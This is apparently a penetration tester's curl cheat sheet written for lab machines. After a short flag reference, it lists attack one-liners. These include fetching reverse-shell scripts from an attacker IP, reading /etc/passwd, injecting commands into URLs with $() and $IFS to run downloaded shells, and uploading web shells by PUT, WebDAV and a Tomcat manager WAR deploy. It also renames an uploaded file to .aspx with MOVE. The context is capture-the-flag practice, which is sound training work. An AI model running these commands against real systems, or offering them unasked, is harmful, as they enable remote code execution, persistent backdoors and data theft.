Curl

  • Common commands

#   -d, --data            HTTP POST data
#   -f, --fail            Fail silently (no output at all) on HTTP errors
#   -i, --include         Include protocol response headers in the output
#   -o, --output          Write to file instead of stdout
#   -O, --remote-name     Write output to a file named as the remote file
#   -s, --silent          Silent mode
#   -T, --upload-file     Transfer local FILE to destination
#   -A, --user-agent      Send User-Agent <name> to server
#   -v, --verbose         Make the operation more talkative
#   -V, --version         Show version number and quit
#   -u, --user <user:password>  Server user and password

## ------------------| Download file
curl http://10.10.14.26/shell.sh -o /tmp/shell.sh

## ------------------| Read local files
curl file:///etc/passwd

## ------------------| Execute commands
curl http://10.10.14.26/$(whoami)
curl http://10.10.14.26/$(which$IFS'curl')
curl http://10.10.14.26/$(curl$IFS'-o'$IFS'/var/www/html/rev.php'$IFS'http://10.10.14.26/rev.php')   

curl http://10.10.14.26/$(curl$IFS'-o'$IFS'/tmp/shell.sh'$IFS'http://10.10.14.26/shell.sh')
curl http://10.10.14.26/$(bash$IFS/tmp/shell.sh)

  • Use PUT command to upload file

curl -X PUT http://10.10.10.15/h4rithd.html -d @shell.aspx
curl -X PUT http://10.10.10.15/harith.txt --data-binary @cmdasp.aspx

# If DEV available ?
curl -u 'username:password' --upload-file shell.php http://10.10.10.67/webdav_test_inception/shell.php 
curl -u 'username:password' -X PUT http://10.10.10.67/webdav_test_inception/shell.php --data-binary @shell.php        

# Upload war file to tomcat
curl -u 'username:password' -T shell.war http://10.10.10.10:8080/manager/text/deploy?path=/h4rithd

  • Use MOVE command to move file

curl -X MOVE http://10.10.10.15/h4rithd.html -H 'Destination:http://10.10.10.15/h4rithd.aspx'

  • .curlrc file

## ------------------| Setup proxy
proxy = http://127.0.0.1:8080